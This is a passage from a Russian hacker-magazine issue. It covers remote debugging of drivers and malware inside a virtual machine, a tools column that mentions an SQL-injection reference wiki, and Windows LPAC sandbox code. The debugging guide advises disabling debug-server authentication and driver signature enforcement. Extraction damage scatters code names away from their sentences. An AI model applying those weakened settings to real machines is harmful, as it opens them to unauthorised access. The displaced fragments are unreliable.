но:  о  депони рован ных  клю чах  мы  уже  говори ли.  Орга низа ции,  работа ющие
с сек ретной информа цией, и вов се не приз нают иных спо собов очис тки SSD,
кро ме физичес кого унич тожения носите ля.

ЗАКЛЮЧЕНИЕ
Без воз врат но  уда лить  информа цию  неп росто,  а  сде лать  это  быс тро  —
еще слож нее. И если маг нитный жес ткий диск при наличии сво бод ного вре‐ 
мени мож но очис тить целиком и пол ностью, то в слу чае с SSD дела обсто ят
куда  более  запутан но.  Наде емся,  что  эта  статья  поможет  тебе  най ти  опти‐ 
маль ную стра тегию унич тожения информа ции.

https://account.microsoft.com/devices/recoverykey
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ТРЮКИ

Не обхо димость  в  отладке  прог рамм,  запущен ных  внут ри
вир туал ки,  может  воз никнуть,  ког да  ты  пишешь  ком понент
ядра,  драй вер  или  же  занима ешь ся  вирус ной  ана лити кой
и  не  хочешь  заразить  основную  машину.  Сущес тву ет  нес‐ 
коль ко инс тру мен тов,  которые поз воля ют это сде лать. Нас‐ 
тро ить их с пер вого раза может быть неп росто, так что давай
пос мотрим, какими они быва ют и как с ними обра щать ся.

УСТАНОВКА И НАСТРОЙКА ВИРТУАЛЬНОЙ МАШИНЫ
Что бы начать наши экспе римен ты, необ ходимо уста новить саму вир туаль ную
сре ду.  Кто‐то  пред почита ет  VirtualBox,  но  мы  будем  исполь зовать  VMware
Workstation,  потому  что  VirtualBox  с  некото рыми  инс тру мен тами  уда лен ной
отладки  дру жит  нес коль ко  хуже  и  тре бует  допол нитель ной  нас трой ки.
С VMware таких проб лем нет. В качес тве целевой опе раци онной сис темы мы
будем исполь зовать Windows 10 x64 LTSB. Нас тоятель но рекомен дует ся сра‐ 
зу же соз дать общую пап ку для удоб ной переб роски фай лов с хос товой ОС
на  гос тевую.  Так же  сле дует  выб рать  тип  мик ропрог раммы  BIOS,  а  не  UEFI.
Это дела ется для сов мести мос ти с некото рыми отла доч ными ком понен тами,
которые мы будем исполь зовать.

Нас трой ка вир туаль ной машины

INFO

Во  вре мя  отладки  на  компь юте ре  зачас тую
запуще но  нес коль ко  тре бова тель ных  к  объ ему
опе ратив ной памяти при ложе ний: сама вир туаль‐ 
ная  машина,  ком пилятор,  бра узер.  Для  ком фор‐ 
тной работы понадо бит ся как минимум 8 Гбайт.

УДАЛЕННАЯ ОТЛАДКА В MICROSOFT VISUAL STUDIO
По пуляр ная IDE Microsoft Visual Studio так же под держи вает средс тва уда лен‐ 
ной  отладки.  Что бы  ими  вос поль зовать ся,  тоже  понадо бит ся  вир туаль ная
машина, с сер вером отладки Visual Studio Remote Tools. Обра ти вни мание: он
дол жен под ходить  к  той вер сии Visual Studio, из  которой ты хочешь под клю‐ 
чать ся.

Так же я рекомен дую отклю чить аутен тифика цию на сер вере отладки, что‐ 
бы  вся кий  раз  не  вво дить  учет ные  дан ные  поль зовате ля.  Для  это го  зай ди
в  «Сер вис →  Парамет ры»,  выбери  режим  «Без  аутен тифика ции»  и  вклю чи
чек бокс «Раз решить отладку любому поль зовате лю».

Нас трой ка Visual Studio Remote Tools

Сер вер  запущен,  нас тро ен  и  слу шает  порт  4022  на  пред мет  под клю чения
отладчи ка.

Го товый к работе уда лен ный отладчик Microsoft

Те перь  перехо дим  в  Visual  Studio  для  нас трой ки  про екта  под  уда лен ную
отладку. Для начала нам нуж но открыть свой ства про екта и перей ти на вклад‐ 
ку «Отладка». В стро ке «Уда лен ная коман да» нуж но задать путь до отла жива‐ 
емо го фай ла, в пун ктах «Рабочий каталог» и «Каталог раз верты вания» ука зать
каталог с отла жива емым фай лом. Так же необ ходимо задать имя уда лен ного
сер вера  (его  мож но  взять  в  окне  сер вера  отладки  в  вир туаль ной  машине)
и  выб рать  тип  под клю чения  «Без  аутен тифика ции».  Теперь  заходим в  «Дис‐ 
петчер  кон фигура ций»  и  ста вим  чек бокс  в  стол бце  «Раз верты вание»  нап‐ 
ротив нашего про екта.

Те перь  все  готово  к  уда лен ной  отладке,  которую  мож но  начать,  выб рав
в меню «Отладка» пункт «Начать отладку» либо нажав F5. Visual Studio, кста ти,
поз воля ет  под соеди нять ся  к  уда лен ному  про цес су  в  вир туаль ной  машине.
Для это го нуж но выб рать в меню «Отладка» «При соеди нить ся к про цес су» и в
появив шемся окне — уда лен ный сер вер и про цесс.

Нас трой ка Visual Studio Remote Tools

Ура! Visual Studio пол ностью готова к уда лен ной отладке.

УДАЛЕННАЯ ОТЛАДКА С IDA STARTER
С некото рого вре мени популяр ный и весь ма мощ ный дизас сем блер  IDA Pro
стал рас простра нять ся бес плат но для час тно го исполь зования. Разуме ется,
речь идет о его уре зан ной вер сии — IDA Starter. Основная фун кция это го инс‐ 
тру мен та — ста тичес кий ана лиз, но, помимо это го, он уме ет уда лен но отла‐ 
живать при ложе ния. Сей час мы раз берем ся, как его нас тро ить для уда лен ной
отладки.

Итак,  в  кор невой  пап ке  IDA  ты  най дешь  каталог  ,  внут ри  которо го
есть нес коль ко сер веров под раз ные ОС и архи тек туры про цес сора. Если ты
собира ешь ся  отла живать  64‐раз рядные  при ложе ния,  то  на  гос тевой  ОС
необ ходимо запус тить файл  , пред варитель но ско пиро‐ 
вав его в вир туаль ную машину. Пос ле запус ка он сооб щит нам IP отла доч ного
сер вера и порт, через который про исхо дит отладка. Если необ ходимо запус‐ 
тить этот сер вер с  воз можностью авто риза ции,  прос то добавь параметр 
и пароль при запус ке сер вера отладки.

dbgsrv

win64_remote64.exe

‐P

Те перь  перехо дим  на  основную  машину,  что бы  нас тро ить  уда лен ную
отладку в самой IDA.

Сер вер IDA на целевой машине

Для нас трой ки отладчи ка в  IDA откры вай меню Debugger → Select debugger
или жми F9. Теперь в спис ке дос тупных отладчи ков выбирай Remote Windows
Debugger.  Появит ся  окно,  пре дуп режда ющее  о  рис ках  дебага,  отве чай
утверди тель но, если понима ешь их. :‐)

Те перь  появит ся  окно  нас трой ки  уда лен ного  отладчи ка,  где  сле дует
задать путь к отла жива емо му фай лу и рабочей пап ке, а так же  IP и порт сер‐ 
вера  отладки  на  уда лен ной  машине.  Всю  эту  информа цию  мож но  получить
в вир туаль ной машине, которую мы уже нас тро или.

Нас трой ка парамет ров под клю чения уда лен ного отладчи ка IDA

Пос ле вво да всех дан ных нажима ем «Ок» — и уда лен ный отладчик IDA готов
к работе (цвет его фона ста нет лазур ным).

Уда лен ный отладчик IDA в работе

НАСТРОЙКА WINDBG/VIRTUALKD
Что бы  уско рить  уда лен ную отладку с WinDbg, был соз дан спе циаль ный инс‐ 
тру мент‐надс трой ка — VirtualKD. Он зна читель но упро щает при вяз ку WinDbg
к вир туаль ной машине и авто мати зиру ет некото рые нас трой ки целевой опе‐ 
раци онки. Что бы VirtualKD работал, в основной ОС уже дол жен сто ять WinDbg
и в нем дол жны быть про писа ны пути для отла доч ных сим волов.

Пос ле рас паков ки архи ва с VirtualKD в его кор невой пап ке появит ся пап ка
под  наз вани ем  .  Ее  необ ходимо  ско пиро вать  на  целевую ОС,  пос ле
это го запус тить файл  . Это основной уста нов щик ком понен тов
VirtualKD на целевую ОС, он копиру ет необ ходимые фай лы и нас тра ивает ОС
для работы в режиме отладки. В нем необ ходимо вклю чить чек боксы Set Virtu‐
alKD boot entry as default и Replace kdcom.dll, пос ле это го нажать кноп ку Install.

target
vminstall.exe

Ког да  все  ком понен ты  будут  нас тро ены,  необ ходимо  открыть  файл 
  из  пап ки  target.  Он  вне сет  необ ходимые  изме нения  в  реестр

целевой ОС,  что бы ком понен ты аген та VirtualKD запус кались при ее стар те.
Пос ле этих шагов необ ходимо перезаг рузить вир туаль ную машину.

kd‐
patch.reg

Ус танов ка VirtualKD на целевой машине

При заг рузке гос тевой ОС появит ся диалог, в котором сле дует выб рать Dis‐
able  Signature  Enforcement  Manually  и  нажать  F8.  Теперь  выбирай  пункт
«Отклю чение обя затель ной про вер ки под писи драй веров».

Заг рузка ОС

От клю чение обя затель ной про вер ки под писи драй веров

На  основной  ОС  оста лось  толь ко  запус тить  монитор  вир туаль ной  машины
( ) и нажать в нем  кно поч ку Run debugger,  которая запус тит  уже
под клю чен ный к целевой ОС отладчик WinDbg. Обра ти вни мание на гра фу OS
в  спис ке  под клю чен ных  вир туаль ных  машин:  здесь  дол жно  быть  сло во  yes,
если  вир туаль ная  машина  нас тро ена  пра виль но  и  агент  VirtualKD  на  ней
запус тился и работа ет. И желатель но снять чек боксы, что бы VirtualKD не оста‐ 
нав ливал целевую ОС, ког да не сле дует.

vmmon64.exe

Мо нитор VirtualKD

АНАЛИЗ АВАРИЙНОГО ДАМПА ПРИ ПОМОЩИ WINDBG
Итак, инс тру мен тарий для уда лен ной отладки на все слу чаи жиз ни у нас под‐ 
готов лен  и  нас тро ен. Но  если  с  IDA Pro  или  Visual  Studio  ты без  тру да  смо‐ 
жешь начать работать,  то с отладкой в режиме ядра могут воз никнуть опре‐ 
делен ные  слож ности.  Давай  пос мотрим,  что  делать,  если  запуск  драй вера
обер нулся BSOD и нам надо в этом разоб рать ся.

Пред положим,  что  мы  запус тили  вир туаль ную  машину,  заг рузили  в  нее
наш  драй вер  и  не  забыли  вклю чить  отладчик  через  монитор  VirtualKD.
Посыла ем  драй веру  зап рос  IOCTL,  что бы  он  выпол нил  нуж ный  блок  кода,
который  и  при вел  к  BSOD. Пос ле  это го  вир туаль ная машина  оста нови лась,
и  отладчик  сооб щил  о  сбое,  пред ложив  исполнить  коман ду  .
Выпол няем  ее,  и  WinDbg  показы вает  ана лиз  дам па  сбоя,  из  которо го  мы
будем  получать  основную  информа цию.  Давай  раз берем  самые  зна чимые
для нас поля.

!analyze  ‐v

Где искать дам пы
Ес ли мы отла жива ем собс твен ный драй вер, то зна ем, ког да может про изой ти
сбой,  и  дер жим  нагото ве  отладчик,  под клю чен ный  к  вир туаль ной  машине.
Но  если ОС  пада ет  в  BSOD  неожи дан но,  нам  тре бует ся  вруч ную  заг рузить
файл ава рий ного дам па в отладчик, что бы понять, что выз вало сбой. Windows
соз дает файл пол ного ава рий ного дам па авто мати чес ки и называ ет его 

. Он рас полага ется в  кор невой пап ке ОС, а мини‐дамп  ты най дешь
в пап ке minidump.

MEM‐
ORY.DMP

Приг лашение  WinDbg  начина ется  с  бан нера  Bugcheck  Analysis  и  содер жит
ссыл ку  на  коман ду  ,  которая  заг рузит  креш дамп  в  отладчик
и  раз берет  его.  Выпол няем  коман ду  и  видим  при мер но  сле дующее  (креш‐ 
дамп боль шой, я покажу его начало).

!analyze  ‐v

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff801033e1722, Address of the instruction which caused the 
bugcheck
Arg3: ffff890143778d20, Address of the context record for the except
ion that caused the bugcheck
Arg4: 0000000000000000, zero.
Debugging Details:
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
DUMP_CLASS: 1
DUMP_QUALIFIER: 0
BUILD_VERSION_STRING:  14393.2068.amd64fre.rs1_release.180209‐1727
DUMP_TYPE:  0
BUGCHECK_P1: c0000005
BUGCHECK_P2: fffff801033e1722
BUGCHECK_P3: ffff890143778d20
BUGCHECK_P4: 0
EXCEPTION_CODE: (NTSTATUS) 0xc0000005
...

Креш дамп  сооб щает  об  ошиб ке  . 
говорит,  что  она  про исхо дит  из‐за  исклю чения,  выз ванно го  при  перехо де
из  неп ривиле гиро ван ного  кода  (режим поль зовате ля)  в  при виле гиро ван ный
(режим ядра). В  гла за бро сает ся строч ка  ,  которая  показы‐ 
вает  ошиб ку  ,  о  ней  ты  можешь  про честь  по  .  Получа ется,
про изош ло  наруше ние  дос тупа,  .  Чита ем  дамп
даль ше.

SYSTEM_SERVICE_EXCEPTION  (3b) MSDN

EXCEPTION_CODE
NTSTATUS ссыл ке

STATUS_ACCESS_VIOLATION

CONTEXT:  ffff890143778d20 ‐‐ (.cxr 0xffff890143778d20)
rax=0000000000000000 rbx=ffffb104c7a5c850 rcx=0000000000000000
rdx=0000000040000010 rsi=0000000000000001 rdi=ffffb104c6ed0ab0
rip=fffff801033e1722 rsp=ffff890143779720 rbp=0000000000000002
r8=ffffb104c82daa0c  r9=ffff8901437797d8 r10=0000000000000000
r11=ffff890143779758 r12=0000000000000000 r13=ffffb104c6b2b970
r14=ffffb104c7a5c850 r15=0000000000000000

Здесь мы видим сос тояние регис тров про цес сора на момент сбоя.

DEFAULT_BUCKET_ID:  WIN8_DRIVER_FAULT
BUGCHECK_STR:  0x3B
PROCESS_NAME:  loader.exe

По ле    говорит  нам  о  катего рии  сбоя, 
показы вает  сок ращен ный  код  сбоя,    ука зыва ет  на  наз вание
про цес са, к которо му был под клю чен про цес сор на момент BSOD. В дан ном
слу чае  про цесс    пос лал  зап рос  IOCTL  к  драй веру,  который
и обру шил сис тему.

DEFAULT_BUCKET_ID BUGCHECK_STR
PROCESS_NAME

loader.exe

FOLLOWUP_IP: 
testdrv!MmGetSystemAddressForMdlSafe+12
fffff801`033e1722 0fbf400a        movsx   eax,word ptr [rax+0Ah]

В  этой  час ти  отладчик  ука зыва ет  на  кон крет ное  мес то  сбоя  в  фор мате 
.  Здесь модуль  называ ется  ,  фун кция
 и сме щение 12. Далее идет ассем блер ный

код мес та сбоя.

[
модуль]![функция+смещение] testdrv
MmGetSystemAddressForMdlSafe

MODULE_NAME: testdrv
IMAGE_NAME:  testdrv.sys

Здесь    ука зыва ет  на  наз вание фай ла,  а   — на  наз‐ 
вание объ екта.

IMAGE_NAME MODULE_NAME

Мы рас смот рели основные поля ава рий ного дам па, но не все, потому что
некото рые из них дуб лиру ются, дру гие пре дос тавля ют избы точ ную информа‐ 
цию.  В  любом  слу чае,  изу чив  вывод  коман ды  ,  ты  соберешь
немало информа ции. Конеч но,  это не все:  поиск оши бок в драй верах отни‐ 
мает немало сил и вре мени даже у опыт ных сис темных прог раммис тов, но это
хороший старт в отладке и трас сиров ке сис темно го кода.

!analyze  ‐v

ЗАКЛЮЧЕНИЕ
Мы  рас смот рели  основной  инс тру мен тарий  уда лен ной  отладки,  нас тро или
вир туаль ную машину и попыта лись разоб рать ава рий ный дамп опе раци онной
сис темы. На самом деле тема отладки при ложе ний весь ма обширна, и слож‐ 
но  умес тить  все  в  одной  статье,  но  задать  нуж ное  нап равле ние  для  самос‐ 
тоятель ного  изу чения  мож но.  Наде юсь,  что  этот  матери ал  поможет  тебе
в работе.

mailto:xtahi0nix@gmail.com
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https://msdn.microsoft.com/en-us/library/cc704588.aspx
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ТРЮКИ

SQL INJECTION WIKI — КОЛЛЕКЦИЯ ПРИМЕРОВ SQL-
ИНЪЕКЦИЙ1 Ис сле дова тели ИБ из ком пании NetSPI соб рали неп лохую под борку
самой раз ной информа ции, свя зан ной с SQL‐инъ екци ями. Эта тех‐ 
ника атак на веб‐при ложе ния хорошо извес тна и широко при меня‐ 
ется с тех вре мен, ког да сай ты ста ли делать на осно ве баз дан ных.
И до сих пор она счи тает ся одной из самых опас ных.

Ма тери алы    поделе ны  по  темам:  детек тирова ние
уяз вимос ти, иден тифика ция СУБД,  типы инъ екций,  тех ники, раз ные
виды  зап росов  и  в  самом  кон це  —  под борки  ссы лок  на  ути литы.
Поч ти  в  каж дом  из  раз делов мож но  выб рать меж ду MySQL, Oracle
и MS SQL Server. Вся информа ция на англий ском, но при меры кода
в основном говорят сами за себя.

SQL  Injection Wiki

Пред полага ется,  что  SQL  Injection  Wiki  будет  попол нять ся,  но  и
в текущем вари анте это полез ный ресурс для начина ющих мас теров
кавыч ки.  Все  исходни ки  сай та  дос тупны  на  GitHub,  где  ты  можешь
ска чать их целиком или пред ложить свое допол нение.

GRON — УТИЛИТА, КОТОРАЯ ОБЛЕГЧАЕТ РАБОТУ С JSON
ИЗ КОМАНДНОЙ СТРОКИ2 Дан ные в фор мате JSON лег ко заг ружать и сох ранять в сво их прог‐ 
раммах,  а  вот  через  тер минал  работать  с  сери али зован ными объ‐ 
екта ми далеко не  так прос то. Автор  ути литы gron решил испра вить
это,  сде лав  так,  что бы  по  фай лам  в  JSON  мож но  было  искать
с помощью grep, срав нивать их через diff и так далее.

Скар мли ваем gron файл в фор мате JSON (или сами дан ные через
stdin), и gron раз бива ет его на отдель ные стро ки в фор мате

json[номер].свойство.свойство = значение;

В  сум ме  все  стро ки  сос тавля ют  код  на  JavaScript,  генери рующий
объ ект,  ана логич ный  тому,  который будет  соз дан  при  прос той  заг‐ 
рузке JSON. Но глав ная фича — в дру гом. Такие стро ки лег ко скор‐ 
мить на вход grep и получить толь ко нуж ные поля.

Тес тиру ем тра дици онно на нашем катало ге дар кне та

Так же  автор  пред лага ет  сов мещать  это  с  обратным  пре обра зова‐ 
нием (ungron). Мож но написать что‐то в таком духе:

gron testdata/two.json | grep likes | gron ‐u

Тог да grep отфиль тру ет толь ко стро ки со сло вом likes, соот ветс тву‐ 
ющие нуж ным объ ектам, а ungron соберет их обратно в JSON. Таким
обра зом мож но манипу лиро вать дан ными в JSON.

Ав тор приз нает, что это менее мощ ный спо соб, чем ути лита jq (я
о  ней    в  одном  из  прош лых  выпус ков),  одна ко  пос тичь  gron
зна читель но про ще.

пи сал

Ус тановить  его  мож но  из    либо    готовый
исполня емый  файл  для  сво ей  сис темы.  Так же  дос тупны  пакеты
для Go ( ) и для маков ско го
менед жера Brew ( ).

ис ходни ков выб рав

go get ‐u github.com/tomnomnom/gron
brew install gron

TEXTTOP — ГРАФИЧЕСКИЙ БРАУЗЕР, КОТОРЫЙ РАБОТАЕТ
В ТЕРМИНАЛЕ3 Не все из про ектов, о которых я пишу в руб рике WWW, име ют прак‐ 
тичес кую  цен ность,  но  шту кови не  под  наз вани ем  Texttop,  кажет ся,
уда лось побить все мыс лимые рекор ды бес полез ности. Единс твен‐ 
ное дос тоинс тво гра фичес кого дес кто па, который переда ется через
тек сто вый тер минал, — это завора жива ющая сме лость всей затеи.

Ис пытать    нес ложно  —  собирать  из  исходни ков  ничего
не  при дет ся.  Прог рамма  рас простра няет ся  в  виде  кон тей нера
Docker, ска чать и под нять который мож но одной строч кой:

Texttop

docker run ‐‐rm ‐it tombh/texttop sh

За пус каем скрипт  , и перед нами… кажет ся, Firefox с откры‐ 
той поис ковой стро кой.

run.sh

Ав тор утвер жда ет, что смысл его про екта в том, что бы поль зовать ся
интерне том  при  экс тре маль но  пло хом  соеди нении  (3  Кбит/с).
На  лич ном  сер вере  он  запус кает  Texttop,  под клю чает ся  по  SSH
и таким обра зом может даже пос мотреть Gangnam style на YouTube
(прав да, без зву ка).

Ме ня  же  пос тигло  пол ное  фиас ко:  в  стан дар тном  маков ском  тер‐ 
минале у Texttop не зарабо тала мышь, приб лижать и уда лять сочета‐ 
нием из кноп ки Ctrl и скрол ла не уда лось, потому что в macOS оно
уже  занято  сис темным  зумом,  да  и  осталь ные  хот кеи,  кажет ся,
не сра баты вают.

Из  тер миналов,  где  Texttop  будет  работать  нас толь ко  хорошо,
нас коль ко это воз можно, автор называ ет Tilda и Terminal из Ubuntu.
Навер ное,  я  мог  бы  пос тавить  Ubuntu  в  вир туал ку  и  запус тить  все
это  хозяй ство  там, но что‐то меня оста нови ло. Воз можно, смут ное
понима ние  того,  что  это  в  целом  какой‐то  неп равиль ный  спо соб
исполь зовать компь ютер.

mailto:apismenny@gmail.com
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КОДИНГ

На чиная с вось мой вер сии в Windows появил ся встро енный
механизм  кон тей неров,  которые  поз воля ют  изо лиро вать
про цес сы путем зна читель ного усе чения их прав. Это му сис‐ 
темно му механиз му дали наз вание Less Privileged App Con‐
tainer  (LPAC),  он  под держи вает ся  некото рыми  при ложе‐ 
ниями, нап ример бра узе ром Chrome. В этой статье я покажу,
как исполь зовать его в сво их прог раммах.

Сен дбокс‐изо ляция  час то  при меня ется  в  защит ных  при ложе ниях,  а  так же
на  ее  осно ве  стро ятся  ком понен ты  анти виру сов,  называ емые  HIPS  (Host‐
based Intrusion Prevention System), и отдель ные при ложе ния для изо лиро ван‐ 
ных  сред  типа  Sandboxie.  Такие  защит ные  механиз мы  реали зова ны  через
драй вер‐филь тр режима ядра. Он сло жен в написа нии и тес тирова нии, име ет
гро мад ное количес тво шаб лонно го кода и дол жен перех ватывать зна читель‐ 
ное  количес тво  фун кций  NTAPI,  что бы  менять  их  парамет ры  на  лету,  таким
обра зом соз давая песоч ницу внут ри фай ловой сис темы.

Су щес тву ет более прос той спо соб устро ить изо ляцию про изволь ных при‐ 
ложе ний.  Инже неры  Microsoft  уже  позабо тились  об  этом  и  интегри рова ли
инте рес ный механизм в ядро Windows. Его суть зак люча ется в  том, что сис‐ 
тема  жес тко  огра ничи вает  дос туп  к  устрой ствам  (таким  как  мик рофон,
камера, GPS или модуль 4G), фай лам в сис теме (иног да — даже для чте ния)
и про цес сам (огра ничи вают ся меж про цес сные вза имо дей ствия). Так же огра‐ 
ниче ния  нак ладыва ются  на  работу  с  сетью  (нап ример,  на  откры тие  пор тов
или сокетов), обра щения к сетево му реес тру и окон ному интерфей су дру гих
при ложе ний.

Ког да при ложе ние запуще но внут ри LPAC, все раз решения ему тре бует ся
выдавать явно. Это весь ма полез ный механизм с точ ки зре ния безопас ности,
если в при ложе нии есть уяз вимос ти, которые зло умыш ленник может исполь‐ 
зовать для повыше ния при виле гий и дос тупа к дру гим ресур сам. Если уяз вим,
нап ример,  бра узер,  то  такую  ата ку мож но  выпол нить  уда лен но.  Кро ме  того,
ког да  запус каешь  неиз вес тное  при ложе ние,  неп лохо  было  бы  обе зопа сить
себя от несан кци они рован ных дей ствий с его сто роны, научив шись запус кать
при ложе ния в кон тей нере LPAC.

СОЗДАЕМ LESS PRIVILEGED APP CONTAINER
Преж де чем запус кать при ложе ние, нам нуж но соз дать сам кон тей нер. В этом
нам поможет фун кция WinAPI  . Вот ее про тотип:CreateAppContainerProfile

HRESULT WINAPI CreateAppContainerProfile(
 _In_  PCWSTR              pszAppContainerName,
 _In_  PCWSTR              pszDisplayName,
 _In_  PCWSTR              pszDescription,
 _In_  PSID_AND_ATTRIBUTES pCapabilities,
 _In_  DWORD               dwCapabilityCount,
 _Out_ PSID                *ppSidAppContainerSid

);

И сам код соз дания кон тей нера:

WCHAR sandbox_name[] = L"SandboxLPAC";
WCHAR sandbox_desc[] = L"My SandboxLPAC";
PSID sid = NULL;
HRESULT status;
result = CreateAppContainerProfile(sandbox_name, sandbox_name, sandbo
x_desc, NULL, 0, &sid);

В слу чае  ошиб ки  неп лохо было бы  про верить,  не  соз дан  ли  наш  кон тей нер
ранее;  если  соз дан,  то  мы  получим  его  SID.  Вот  про тотип  фун кции WinAPI,
которая выяс няет SID уже соз данно го кон тей нера:

HRESULT WINAPI DeriveAppContainerSidFromAppContainerName(
 _In_  PCWSTR pszAppContainerName,
 _Out_ PSID   *ppsidAppContainerSid

);

Да лее код реали зации про вер ки. Как видишь, он очень прост.

if (HRESULT_CODE(status) == ERROR_ALREADY_EXISTS)
status = DeriveAppContainerSidFromAppContainerName(sandbox_name, &sid
);

Так или ина че мы получа ем SID кон тей нера.

INFO

Security Identifier (SID) — иден тифика тор безопас‐ 
ности,  струк тура  дан ных  в  Windows,  которая
может  иден тифици ровать  сис темные  объ екты,
нап ример  эле мен ты  управле ния  дос тупом  (Ac‐
cess Control Entries, ACE), токены дос тупа (Access
Token),  дес крип торы  безопас ности  (Security  De‐
scriptor). SID всег да начина ется с бук вы S, далее
идут чис ла, которые обоз нача ют номер редак ции
ОС,  источни ки  выдачи,  удос товеря ющие  цен тры
и дру гую информа цию.

ПИШЕМ LPAC LOADER ДЛЯ ЛЮБОГО ПРИЛОЖЕНИЯ
Итак, кон тей нер LPAC соз дан, SID получен. Теперь наша задача — зас тавить
Windows запус тить про изволь ное при ложе ние в этом кон тей нере. Но сна чала
нам необ ходимо разоб рать про цесс запус ка при ложе ний и понять, как мож но
задавать опре делен ные атри буты запус ка и какие сис темные струк туры отве‐ 
чают за это.

Для  запус ка  при ложе ний  в  Windows  исполь зует ся  фун кция  WinAPI 
  с  мас сой  парамет ров,  и  имен но  эта  фун кция  име ет  клю чевое

зна чение  в  нашей  задаче.  Давай  пос мотрим  на  ее  про тотип  и  раз берем
основные парамет ры.

Cre‐
ateProcess

BOOL WINAPI CreateProcess(
 _In_opt_    LPCTSTR               lpApplicationName,
 _Inout_opt_ LPTSTR                lpCommandLine,
 _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,
 _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,
 _In_        BOOL                  bInheritHandles,
 _In_        DWORD                 dwCreationFlags,
 _In_opt_    LPVOID                lpEnvironment,
 _In_opt_    LPCTSTR               lpCurrentDirectory,
 _In_        LPSTARTUPINFO         lpStartupInfo,
 _Out_       LPPROCESS_INFORMATION lpProcessInformation

);

По ле    —  это  путь  к  исполня емо му  фай лу,  который  мы
собира емся  запус кать. Далее идут  поля  , 

,  ,  , которые сей час не пред став‐ 
ляют для нас инте реса. Можем им всем прис воить зна чение NULL (FALSE).

lpApplicationName
lpCommandLine lpProcessAttrib‐

utes lpThreadAttributes bInheritHandles

А вот на поле   мы оста новим ся под робнее. Оно отве чает
за фла ги, которые уста нав лива ют при ори тет про цес са и рег ламен тиру ют его
соз дание. Нап ример, если в это поле передать зна чение 
для  кон соль ного  при ложе ния,  то  оно  запус тится  без  соз дания  кон соль ного
окна. А если передать зна чение  , тог да про цесс (основной
поток) будет соз дан при оста нов ленным (в сос тоянии ожи дания про буж дения
фун кци ей  ). Нам же необ ходимо задать флаг 

: он «раз решит» нам рас ширен ные парамет ры запус ка при‐ 
ложе ния.

dwCreationFlags

CREATE_NO_WINDOW

CREATE_SUSPENDED

ResumeThread EXTENDED_STAR‐
TUPINFO_PRESENT

Да лее  идет  поле  ,  которое  име ет  тип  .
Это ука затель на струк туру  , которая рег ламен тиру ет парамет ры
основно го окна при ложе ния или тер минала, а так же его дес крип тор.

lpStartupInfo LPSTARTUPINFO
STARTUPINFO

Важ ный момент. При переда че фла га запус ка 
  мы можем  вмес то  стан дар тной  струк туры    передать  ее

усо вер шенс тво ван ную вер сию — струк туру  . Она име ет вид:

EXTENDED_STARTUPINFO_P‐
RESENT STARTUPINFO

STARTUPINFOEX

typedef struct _STARTUPINFOEX {
 STARTUPINFO                 StartupInfo;
 PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;

} STARTUPINFOEX, *LPSTARTUPINFOEX;

Мож но  счи тать,  что  это  стан дар тная  струк тура    (поле 
), допол ненная спис ком атри бутов запус ка (поле  ).

Эти  атри буты  мож но  про ини циали зиро вать  фун кци ей  WinAPI 
:

STARTUPINFO Star‐
tupInfo lpAttributeList

Initial‐
izeProcThreadAttributeList

BOOL WINAPI InitializeProcThreadAttributeList(
 _Out_opt_  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
 _In_       DWORD                        dwAttributeCount,
 _Reserved_ DWORD                        dwFlags,
 _Inout_    PSIZE_T                      lpSize

);

А теперь добав ляем их в спи сок парамет ров фун кци ей 
:

UpdateProcThreadAt‐
tribute

BOOL WINAPI UpdateProcThreadAttribute(
 _Inout_   LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
 _In_      DWORD                        dwFlags,
 _In_      DWORD_PTR                    Attribute,
 _In_      PVOID                        lpValue,
 _In_      SIZE_T                       cbSize,
 _Out_opt_ PVOID                        lpPreviousValue,
 _In_opt_  PSIZE_T                      lpReturnSize

);

Об рати вни мание на поле  , к нему мы еще вер немся. А теперь
перехо дим к прак тике. Весь код манипу ляций с атри бута ми потоков выг лядит
таким обра зом:

PVOID lpValue

SIZE_T size_of_attr = 0;
STARTUPINFOEX ex_start_info = { 0 };
SECURITY_CAPABILITIES secap = { 0 };
InitializeProcThreadAttributeList(NULL, 1, NULL, &size_of_attr);
ex_start_info.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(
size_of_attr);
InitializeProcThreadAttributeList(ex_start_info.lpAttributeList, 1, 
NULL, &size_of_attr);
UpdateProcThreadAttribute(ex_start_info.lpAttributeList, 
               0, 
               PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES,
               &secap, 
               sizeof(secap), 
               NULL, 
               NULL);

Пер вые  три стро ки  кода  (если не счи тать объ явле ние перемен ных) соз дают
,  то  есть  спи сок  парамет ров  запус ка.  Вызов

WinAPI    модифи циру ет  его  дол жным  обра зом
и соз дает нуж ную нам струк туру  , которую мы
переда дим фун кции  . Чет вертое поле этой фун кции,  ,
получа ет  на  вход  струк туру  ,  которая  име ет  тип 

 и выг лядит так:

PROC_THREAD_ATTRIBUTE_LIST
UpdateProcThreadAttribute

STARTUPINFOEX ex_start_info
CreateProcess lpValue

secap SECURITY_CAPABILI‐
TIES

typedef struct _SECURITY_CAPABILITIES {
 SID                  AppContainerSid;
 PSID_AND_ATTRIBUTES  Capabilities;
 DWORD                CapabilityCount;
 DWORD                Reserved;

} SECURITY_CAPABILITIES, *PSECURITY_CAPABILITIES;

Что бы  «нас тро ить»  ее  под  свои  нуж ды,  запол няем  поля  перед  вызовом 
. Пер вое поле струк туры — это  ,

в него мы переда ем SID нашего кон тей нера LPAC. Вто рое поле — 
, оно тоже явля ется струк турой:

Up‐
dateProcThreadAttribute AppContainerSid

Capabili‐
ties

typedef struct _SID_AND_ATTRIBUTES {
 PSID  Sid;
 DWORD Attributes;

} SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES;

Третье  поле  ( )  называ ется  .
Это счет чик парамет ров про цес са, которы ми мы его наделя ем.

SECURITY_CAPABILITIES CapabilityCount

Да вай  пос мотрим  на  код,  который  реали зует  все  перечис ленное  выше
и соз дает нам кор рек тно запол ненную струк туру  .SECURITY_CAPABILITIES

   SID_AND_ATTRIBUTES sid_attr;
   DWORD sid_size = SECURITY_MAX_SID_SIZE;
